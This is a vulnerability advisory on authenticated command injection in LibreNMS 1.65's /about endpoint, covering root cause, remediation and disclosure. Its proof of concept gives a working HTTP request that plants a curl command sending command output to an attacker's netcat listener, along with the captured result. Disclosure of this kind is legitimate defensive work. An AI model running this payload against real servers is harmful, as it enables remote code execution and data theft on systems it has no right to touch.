LibreNMS /about Authenticated Command Injection

Summary

LibreNMS 1.65 is affected by an authenticated command-injection vulnerability in the /about API endpoint. A ‘normal’ privileges attacker can gain Remote Code Execution (RCE) on the LibreNMS host.

Product description (from vendor)

“LibreNMS is an autodiscovering PHP/MySQL/SNMP based network monitoring which includes support for a wide range of network hardware and operating systems including Cisco, Linux, FreeBSD, Juniper, Brocade, Foundry, HP and many more”. For more information on LibreNMS, visit https://www.librenms.org/.

CVE(s)

Details

Root cause analysis

The /about endpoint reports some information about the LibreNMS such as the web-server and rrdtool versions in use. Even though it is not shown in the user interface, the snmpget version information is read via a shell call in https://github.com/librenms/librenms/blob/1.65/app/Http/Controllers/AboutController.php#L82:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
    <?php
    [...]

    class AboutController extends Controller
    {
        public function index(Request $request)
        {
            $callback_status = Callback::get('enabled') === '1';
            $version = Version::get();

            return view('about.index', [

                [...]

-->             'version_netsnmp'   => str_replace('version: ', '', rtrim(shell_exec(Config::get('snmpget', 'snmpget') . ' -V 2>&1')))

Such configuration is manageable also by ‘normal’ privilege users, which is the lowest user privilege possible in LibreNMS, via a single HTTP POST request to /settings/snmpget.

By setting it to a command it is possible to inject arbitrary shell commands in the /about endpoint rendering.

Proof of concept

  1. Start a TCP listener on a host reachable by the target LibreNMS server, e.g.:
1
2
$ nc -vnlp 8008
Listening on [0.0.0.0] (family 0, port 8008)
  1. Log-in LibreNMS and take note of the X-CSRF-TOKEN HTTP header and XSRF-TOKEN and laravel_session HTTP cookies values
  2. Edit with your own values and perform the following HTTP request:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
PUT /settings/snmpget HTTP/1.1
Host: <EDIT>
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:76.0) Gecko/20100101 Firefox/76.0
X-Requested-With: XMLHttpRequest
X-CSRF-TOKEN: <EDIT>
Content-type: application/json
Connection: close
Cookie: XSRF-TOKEN=<EDIT>; laravel_session=<EDIT>

{"value":"/bin/curl --data \"`id`\" http://<EDIT>:8008/rce #"}
  1. Now request the LibreNMS endpoint [LibreNMS host ip/hostname]/about in the logged-in session, which will trigger the malicious command execution and send the HTTP request to our listener:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
$ nc -vnlp 8008
Listening on [0.0.0.0] (family 0, port 8008)
Connection from 192.168.252.129 60012 received!
POST /rce HTTP/1.1
User-Agent: curl/7.29.0
Host: 192.168.252.1:8008
Accept: */*
Content-Length: 99
Content-Type: application/x-www-form-urlencoded

uid=996(nginx) gid=48(apache) groups=48(apache),1001(librenms) context=system_u:system_r:httpd_t:s0

Impact

A low-privileged attacker can gain Remote Code Execution (RCE) on the LibreNMS host.

Remediation

The /settings API endpoints now require administrator privileges. Upgrade to LibreNMS v1.65.1 or later.

Disclosure timeline

This report was subject to Shielder’s disclosure policy:

Credits

`polict` of Shielder

Data

10 July 2020